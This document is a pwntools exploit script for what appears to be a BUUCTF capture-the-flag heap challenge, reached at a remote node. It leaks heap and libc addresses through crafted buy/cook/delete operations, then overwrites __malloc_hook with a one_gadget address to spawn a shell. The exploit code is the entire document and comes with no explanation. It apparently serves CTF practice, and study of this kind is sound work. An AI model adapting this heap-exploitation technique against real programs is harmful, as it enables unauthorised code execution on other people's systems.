1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| from pwn import *
sh = remote('node3.buuoj.cn',26505) libc = ELF('./libc-2.23.so') malloc_hook_s = libc.symbols['__malloc_hook'] realloc_s = libc.sym['realloc'] one_gadget = 0xf66f0
def buy(name,amount): sh.sendlineafter('Choice:','1') sh.sendlineafter('food name >>',name) sh.sendlineafter('amount >>',str(amount))
def cook(name,index = -1): sh.sendlineafter('Choice:','2') sh.sendlineafter('which food >>',name) if index != -1: sh.sendlineafter('griddle index >>',str(index))
def delete(index): sh.sendlineafter('Choice:','3') sh.sendlineafter('griddle index >>',str(index))
buy('a',100) cook('a',10) buy('b'*0x20,1) delete(10) buy('c'*0x10 + p64(0xDEADBEEF11),1) cook('a',11) cook('a',12) delete(11) buy(p64(0xDEADBEEF11),1) cook('a',13) buy('d'*0x10,1) buy('h'*0x10 + p64(0xDEADBEEF11),1) delete(13) buy(p64(0xDEADBEEF11),1) cook('a',14) cook('a',15) cook('a',16) cook('a',17)
delete(12) cook('a'*0x27) delete(100) sh.sendlineafter('Choice:','1') sh.recvuntil('* ') sh.recvuntil('* ') sh.recvuntil('* ') sh.recvuntil('* ') heap_addr = u64(sh.recv(6).ljust(8,'\x00')) print 'heap_addr=',hex(heap_addr) sh.sendlineafter('food name >>','c') sh.sendlineafter('amount >>','0')
buy('c'*0x8 + p16(0x1C1),2) cook('a',18) buy('e'*0x3E,1) cook('a',19) cook('a',20) for i in range(21,30): cook('a',i)
cook('a'*0x28 + p64(heap_addr + 0x20))
delete(100)
buy('f'*0x30 + p64(heap_addr - 0x10),1) delete(18) buy(p64(heap_addr + 0xA0),1) sh.sendlineafter('Choice:','1') sh.recvuntil('hhh') sh.recvuntil('* ') main_arena_88 = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s one_gadget_addr = libc_base + one_gadget realloc_addr = libc_base + realloc_s print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr) sh.sendlineafter('food name >>','c') sh.sendlineafter('amount >>','0') delete(19) buy('a'*0x10 + p64(malloc_hook_addr - 0x30),1) buy('\x00',0x31)
delete(20) buy(p64(heap_addr),1) delete(16)
buy('i'*0x10,0x31) delete(17) delete(21) buy(p64(0xDEADBEEF11),1)
cook('a'*0x28 + p64(heap_addr + 0x120)) delete(100) delete(22) buy('j'*0x10 + p64(heap_addr + 0x200),1)
delete(23) buy(p64(malloc_hook_addr - 0x30),0x91)
buy('\x00',0x10)
delete(24) delete(25) buy(p64(0xDEADBEEF11),1) cook('a'*0x28 + p64(heap_addr + 0x270)) delete(100) delete(26) buy('k'*0x30 + p64(heap_addr + 0x500),1)
delete(28) buy('l'*0x20,1)
delete(29) buy('m'*0x20 + p64(one_gadget_addr),1)
cook('l'*0x20,'\x00')
|